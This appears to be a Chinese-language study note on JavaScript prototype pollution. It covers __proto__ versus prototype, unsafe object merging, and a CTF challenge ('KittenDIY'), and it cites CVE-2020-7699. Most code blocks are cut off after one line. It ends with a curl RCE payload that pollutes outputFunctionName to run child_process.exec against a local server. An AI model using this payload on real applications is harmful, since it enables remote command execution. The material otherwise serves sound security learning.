原型链污染
type first
1 | linux: |
- refer:https://www.leavesongs.com/PENETRATION/javascript-prototype-pollution-attack.html
- refer:https://blog.codesec.work/f0ee9a055ee1/
what is it??
原型链污染的概念是什么?
在一个应用中,如果攻击者控制并修改了一个对象的原型,那么将可以影响所有和这个对象来自同一个类、父祖类的对象。这种攻击方式就是原型链污染。
- code
1 | function Foo() { |
我们可以认为原型prototype
是类Foo
的一个属性,而所有用Foo
类实例化的对象,都将拥有这个属性中的所有内容,包括变量和方法。
我们可以通过Foo.prototype
来访问Foo
类的原型,但Foo
实例化出来的对象,是不能通过prototype访问原型的。
一个Foo类实例化出来的foo对象,可以通过foo.__proto__
属性来访问Foo类的原型
简而言之:用 prototype 无法直接访问,需要使用 __proto__
访问。prototype 是一个指针属性。
1 | foo.__proto__ == Foo.prototype |
__proto__
:指向原型对象的构造器。constructor
:指向当前对象的构造器。
原型链污染是什么?
foo.__proto__
指向的是Foo
类的prototype
。那么,如果我们修改了foo.__proto__
中的值,就可以修改Foo类
1 | // foo是一个简单的JavaScript对象 |
哪些情况下原型链会被污染
哪些情况下我们可以设置__proto__
的值呢?其实找找能够控制数组(对象)的“键名”的操作即可
1 | function merge(target, source) { |
在合并的过程中,存在赋值的操作target[key] = source[key]
,那么,这个key如果是__proto__
,是不是就可以原型链污染
1 | let o1 = {} |
JSON解析的情况下,__proto__
会被认为是一个真正的“键名”
example KittenDIY 150pt
code
1 | //...... |
test
1 | curl -H 'Content-Type: application/json' http://localhost:3000/diy -d '{"fakename":"asd"}' |
由于出题人太懒post没写回显所以post没反应很正常,自己切回主页就能看到效果
bypass
1 | console.log(kitten.__proto__ == kitten.constructor.prototype) |
payload here push
1 | "path": "/" + property |
- CVE-2020-7699 https://www.freebuf.com/vuls/246029.html
rce payload
1 | curl -H 'Content-Type: application/json' http://localhost:3000/diy -d "{\"constructor/prototype/outputFunctionName\":\"_tmp1;global.process.mainModule.require('child_process').exec('curl 127.0.0.1:11333');var __tmp2\"}" |